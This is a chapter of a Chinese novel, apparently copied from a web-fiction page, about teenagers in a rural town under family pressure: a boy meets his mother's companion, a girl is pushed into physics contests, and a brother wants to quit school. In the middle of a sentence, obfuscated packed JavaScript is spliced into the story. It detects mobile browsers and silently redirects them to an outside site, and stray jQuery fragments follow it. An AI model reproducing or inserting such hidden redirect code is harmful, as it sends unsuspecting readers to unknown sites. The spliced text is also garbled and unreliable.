天气多变,心情也跟着多变。
希望有朝一日,我们都能勇敢地表达“不要”和“不喜欢”。
——《甄好日记》
沿海城市的台风天是有台风假的,时序在回家的路上还一直可惜怎么这号台风正好于周末登陆,不然他们就可以多放两天假了。
一路上迎着风,他将自行车骑得飞快。
顺风让他有了飞翔的错觉,心早就随着风回到了家里。
他很喜欢回家,喜欢到家里的果园上蹿下跳,喜欢上山下河捉知了捉鱼虾。
乡野闲趣总是比县城里的游戏厅别有一番风味。
他的快乐同样止于见到母亲。
同一个时空,不同的烦恼每天都在发生。
时序在自家门口看到了一辆光看外表就价值不菲的黑色车子,他捏着双肩包带子的手不自觉微微用力。
见到儿子的一瞬间,时谙脸上闪过一丝不知所措,手不自觉地推搡着身边的男人:“我就不留你吃饭了。”
可两人之间的动作一看就不是普通关系,时序不是三五岁的孩童,一眼就能看出些许端倪来。
不过他什么都没说,却也不像平时那样礼貌地问候客人,只是一脸探究地看着那个陌生叔叔。
片刻的沉默过后,时谙率先反应过来:“小序,快向叔叔问好,不可以这么没礼貌,知道吗?”
从时序进门开始,裴延东的目光就没从他身上移开过,此时时谙开口,他才回过神来:“这就是小序啊,都长这么大了。”
他说着就要去摸时序的头,却被躲开。
“小序,不可以——”
时谙的话被时序打断:“不可以这么没礼貌,我知道。叔叔好,这下满意了吗?”
时序说完将书包一甩,跑进了自己的房间。
“这孩子……”时谙面上的窘迫更甚。
“没关系,小孩子都这样,慢慢来。”裴延东安抚她,“你和小序快准备吃饭吧,我先回去了,下次再来看你们。”
时谙没说什么,只是目送他走出家门,又看着他开车离开自己的视野。
她没想过这么早让时序跟裴延东见面的,可是人算不如天算。
方才如果不是她不小心弄脏了裴延东的衬衫,他就可以早些离开,就不会被时序撞上。
时谙回头不安地看了一眼儿子的房门,心头愁绪万千。
“小序,洗手吃饭了。”思索再三,时谙还是决定当作什么都没发生,权当裴延东只是一个普通的客人。
让她没想到的是,时序出现在饭桌上时竟是一副若无其事的样子,那神情看起来无比坦然。
时谙试探性地给他夹了一块排骨:“妈妈特意做了你爱吃的糖醋排骨。”
时序没有拒绝,夹起碗里的排骨就往嘴里送。
若要说他与平时有什么不一样,那便是话少了,不再像以往的每次放学,叽叽喳喳地跟她分享学校趣事。
时谙的心忍不住一沉,半晌才踌躇道:“小序,刚刚……”
时序却打断了她:“妈,吃饭吧,我好饿。”
这不是时序第一次见到那个男人。
他低下头默默地扒饭,不想去回想那些刻意被自己隐藏起来的记忆。
鄢家。
饭桌上,除了鄢成舟故意发出的声响,安静得可怕。
“云书,在学校还习惯吗?”是鄢识先开口打破的沉寂。
“挺好的,爸。”鄢云书垂下眼眸,慢吞吞地吃着饭菜。
明明母亲做的饭菜色香味俱全,她吃起来却味同嚼蜡。
“听你们老师说,下周有个物理竞赛,有把握吗?”鄢识又问道。
他是闽大的大学教授,与安南三中的不少老师都是同学,想打听点什么都很方便。
在刺桐村这样的小地方,能出个大学生就已经是光耀门楣的大事,遑论大学教授。
是以,鄢识备受乡里乡亲们的尊敬和爱戴。
“爸——”鄢云书欲言又止。
“怎么不说了?”鄢识凌厉的目光扫过女儿的脸,等待着她的下文。
鄢云书在他的威严下吞回了真正想说的话,改口说:“我会努力的,爸。”
其实她不想参加物理竞赛,她根本就不喜欢物理,可是她不敢说。
“光努力不够,要给自己定一个目标。”鄢识给她夹了一只鸡腿放到碗里,“比如要有拿第一名的野心。”
鄢云书看着父亲家给自己夹的鸡腿,觉得心口有些堵得慌。
她不爱吃鸡腿,可她从未表达过,每一次都乖乖把鸡腿吃得干干净净,久而久之,父母都认为她喜欢。
就像她讨厌没完没了的学习和竞赛,但她不说,父亲也就认为她喜欢。
她是父亲眼里的好女儿,是老师眼中的好学生,是别人家的孩子,独独不是她自己。
“知道了,爸。”她像每一次一样,默默地承受父亲施加的压力。
“吃饭呢,别说这些有的没的了。”许君瑶说着给女儿夹了一筷子胡萝卜,又倒了一杯鲜榨橙汁,“云云,喝这个,有营养。”
许君瑶是市里的妇产科医生,这个周末难得碰到休假。
“谢谢妈。”鄢云书抬头冲她笑了笑。
“成仔,你也喝一杯,不够还有。”许君瑶又对儿子说。
“我不喜欢喝这个,我要喝可乐,可乐!”鄢成舟却不买账。
“可乐喝多了对身体不好,乖,喝橙汁。”许君瑶说着又把装满橙汁的杯子往他手边推了推。
“说了不喝就是不喝!”鄢成舟用力一推。
“砰”的一声,玻璃杯摔在地上,橙黄色的汁液流了一地。
许君瑶见状赶紧俯身就要收拾,却被鄢识叫停:“阿瑶,谁打碎的谁收拾。”
鄢成舟却不为所动。
鄢识的声音很平静:“鄢成舟。”
看着父亲不怒自威的模样,鄢成舟这才不情不愿地去拿工具扫地。在这个家里,能够制得住他的人也只有鄢识了。
对于这种场面,鄢云书早就见怪不怪了,在其他人因为一杯橙汁而弥漫起看不见的硝烟时,她依旧吃着自己不爱吃的鸡腿和胡萝卜,喝着自己讨厌的橙汁。
哪怕她又长大了一岁,也不敢像弟弟一样大声说“不喜欢”。
她艰难地吃完碗里的食物,才敢说:“爸、妈,我吃饱了。”
然后等来她熟悉的两句话。
许君瑶说:“碗放着,妈来洗。”
鄢识说:“爸爸给你买了两套物理竞赛题,放在书房了,你去看看。”
“知道了。”鄢云书乖巧地应道。
距离甄家两公里之外的周家爆发了不一样的家庭战争。
“我不想读书了!我要跟着堂哥去外省打工!”周容安在饭桌上摔了筷子。
周淳芮夹红烧肉的手一抖,心怀同情地看了一眼哥哥。
果不其然,大人的怒火劈头盖脸:“你个混账玩意儿,你再说一遍?你才初二,不上学你能干什么?啊?给别人扶梯子都嫌你个子矮。”
“反正我就是不想读书了!”周
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560393|171390||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
容安丝毫不畏惧父亲,梗着脖子反驳。
周振海气得声音都在发抖:“这学你上也得上,不上也得上。你当老子的钱是大风刮来的啊?学杂费交都交了,你跟我说你不上了?学校给退吗?啊?你个死脑筋的!你也不看看乡里多少小孩想上学都没机会,不知道珍惜的混账东西!”
周振海越骂越来气,骂到最后手指直接指到了周容安的鼻子上。
眼见情况不对劲,周淳芮忙放下准备继续夹肉的筷子,坐到周振海身边,挽着他的胳膊撒娇道:“爸,我有事求您您都看不到我,我不开心了。”
她一边说一边对周容安使眼色,让他赶紧先消失,毕竟事缓则圆。
周容安深知妹妹最有办法对付父亲,接收到她传递的信息立刻溜之大吉。
周振海最疼这个女儿,见她一副受了委屈的模样就心疼得不行:“芮芮你可冤枉爸爸了,你刚刚求爸爸什么了?”
莫非是他老了,他真没听见。
“就是我……”周淳芮迅速头脑风暴,方才她那样说只是为了先稳住父亲,实际上她什么都没求,这会儿被周振海这么一问,“我”了半天都没说出下文。
岂料周振海直接给她递了答案:“芮芮是不是又想买漂亮的新衣服了?”
“啊!”周淳芮顿时眉开眼笑,“对对对,天气冷了,我没衣服穿了。”
“要多少钱?”周振海说着就去掏钱包。
周淳芮看着他那鼓鼓囊囊的钱包,试探性地伸出两根手指:“二……”
她还没说完周振海就抽出两张百元大钞递到她手里:“二百元是吧?来,拿去,喜欢什么咱就买什么。”
周淳芮:“……”
其实她想说的是二十元。
但既然她爸如此大方,她也就却之不恭了。
“谢谢爸,爸最好了!”周淳芮说着在周振海脸上重重地亲了一口。
一直保持沉默的周容堇幽幽开口:“爸,我也没衣服穿了。”
周振海看了他一眼,略显嫌弃地说道:“去去去,一边去。男孩子买那么多衣服干什么,做花脚蚊子啊?”
周容堇:“……”
他早知自己在这个五口之家是最没地位的,但没想到会没地位到此等地步。
周淳芮憋笑憋得脸都红了,得到来自弟弟的一记大白眼。
吃过晚饭又歇了会儿,周淳芮感到有些无聊,便一个人溜达到了甄家。
她绕到甄好的房间,轻轻敲了四下窗户。
这是她们三人之间的暗号。
甄好刚好写完那首现代诗的最后一个字,听到声音蹑手蹑脚地出了房间。
“怎么了?”她有些意外周淳芮这个时间点来找自己。
“云云肯定又被她爸关起来做题了。”周淳芮光想想都觉得鄢云书命苦,“做题多无聊啊,我们去找她吧!”
“好。”甄好对此没有异议。
鄢云书家离她们的家有点距离,走路需要十五分钟的样子。
两人边聊边走,时间一下子就过去了。
她们站在鄢家的小院外,果真看见鄢云书的房间透出灯光来。
走到窗口下,周淳芮关掉一路用来照明的便携手电筒。
她踮起脚尖,像刚刚敲甄好的窗口那样敲了四下。
她们等了片刻,见没等来鄢云书,周淳芮又敲了四下。
“难道是没听到?”她疑惑地自言自语。
就在她准备敲第三次的时候,一道略显严肃的声音在她们身后响起:“你们在干什么?”